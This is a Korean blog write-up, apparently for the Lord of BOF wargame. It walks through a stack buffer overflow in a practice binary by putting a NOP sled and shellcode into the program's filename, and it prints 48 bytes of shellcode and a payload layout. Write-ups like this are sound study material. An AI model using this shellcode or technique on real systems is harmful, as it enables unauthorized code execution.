일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- PWN
- LOB
- Spring Framework
- stack overflow
- webhacking
- Buffer Overflow
- Operating System
- BOF
- 네트워크
- 정보처리기사 실기
- Shell code
- wargame
- 웹해킹
- 워게임
- webhacking.kr
- Pwnable.kr
- 운영체제
- Spring
- hacking
- 정보보안기사
- Lord of BOF
- pwnable
- system hacking
- 정보보안기사 실기
- 해킹
- Spring MVC
- OS
- Payload
- SQL
- System
- Today
- Total
DongDD's IT
[LOB] Level10 vampire 본문
[LOB] Level10 vampire
Problem
이번 문제도 skeleton 실행 파일과 skeleton.c 소스 코드 파일이 있었다.
먼저 소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } | cs |
buffer의 크기는 40 bytes로 똑같았고 if(argc < 2)도 똑같았다.
마찬가지로 extern을 통해 환경 변수를 가져오고 memset()을 통해 초기화 시켜준다.
argv[1]의 48번째 글자가 "\xbf"인지 확인하고 argv[1]의 길이가 48보다 크지 않아야한다.
그 다음에는 saved_argc라는 변수가 추가되었다. 여기에 argc의 값을 넣고 strcpy를 통해 argv[1]을 buffer에 복사한다.
memset()을 통해 buffer를 초기화하고 아까 저장해두었던 saved_argc(argv의 갯수)만큼 argv를 모두 초기화시켜준다.
stack에 있는 값을 사용해야하지만 buffer, argv, 환경 변수를 사용하기에는 어려움이 있어보인다.
이번 문제는 푸는 데 어려움이 많았던 것 같다. 여러가지 생각을 해보다가 argc의 값을 변조할 수 있는 지도 찾아보고 int형인 save_argc를 overflow시켜서 할 수 있는 지도 시도해보았지만 시스템 자체에 걸려있는 ARG_MAX값으로 인해 argv[]의 값들을 int overflow시킬 만큼 넣을 수 없어 성공하지 못했다.
그래서 stack에서 사용할 수 있는 변수를 찾아보다가 풀 수 있는 방법을 알아냈다.
Solution
1. 초기화되지 않은 값에 Shell code 이용
stack에서 사용할 수 있는 남은 변수가 뭐가 있는지 찾아보다가 stack의 끝에는 프로그램의 경로가 저장되는 것을 알 수 있었다.
모든 초기화를 끝내고 난 부분에 break point를 걸고 stack의 끝 부분을 확인하다보니 실제로 프로그램의 경로가 저장되어있는 것을 볼 수 있었다.
이 것을 이용하면 풀 수 있을 거란 생각에 시도해보았다.
전에 있었던 문제 중에 argv[0]을 이용한 문제가 있었는데 그것과 같은 방식으로 풀면 될 것 같았다.
저번 문제와 마찬가지로 file이름을 "\x90"(NOP)*100+Shell code+"\x90"(NOP)*100로 copy해 새로운 파일을 만들고 gdb를 통해 stack 영역 끝 부분에 경로가 들어가 shell code가 저장되는 것을 확인할 수 있었다.
파일 이름으로 입력한 "\x90"*100+ shell code + "\x90"*100 가 들어가 있는 주소를 찾았다.
0xbfffff46으로 return address를 설정해주는 payload를 작성해 실행하면 될 것 같았다.
사용한 shell code(48 bytes) :
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
Payload = ./파일 이름(argv[0],"\x90"*100+ shell code + "\x90"*100) + argv[1](dummy - 44 bytes + return address - 파일 이름이 저장된 stack 주소)
위 Payload를 사용해 문제를 해결할 수 있었다.
처음에 NOP을 shell code 앞에만 써줘서 계속 segmentation fault가 떴는데 뒷 부분에도 "\x90"을 넣어주니 통과할 수 있었다.
아마 저번에 봤던 shell code와 뒷 부분의 특정 거리 때문인 것 같았다.
************** Answer & Flag **************
1. 초기화되지 않은 값에 Shell code 이용
Payload = ./파일 이름(argv[0],"\x90"*100+ shell code + "\x90"*100) + argv[1](dummy - 44 bytes + return address - 파일 이름이 저장된 stack 주소)
'Wargame > LOB' 카테고리의 다른 글
[LOB] level12 golem (0) | 2018.01.25 |
---|---|
[LOB] Level11 skeleton (0) | 2018.01.24 |
[LOB] Level9 troll (0) | 2018.01.21 |
[LOB] Level8 orge (0) | 2018.01.20 |
[LOB] Level7 darkelf (0) | 2018.01.19 |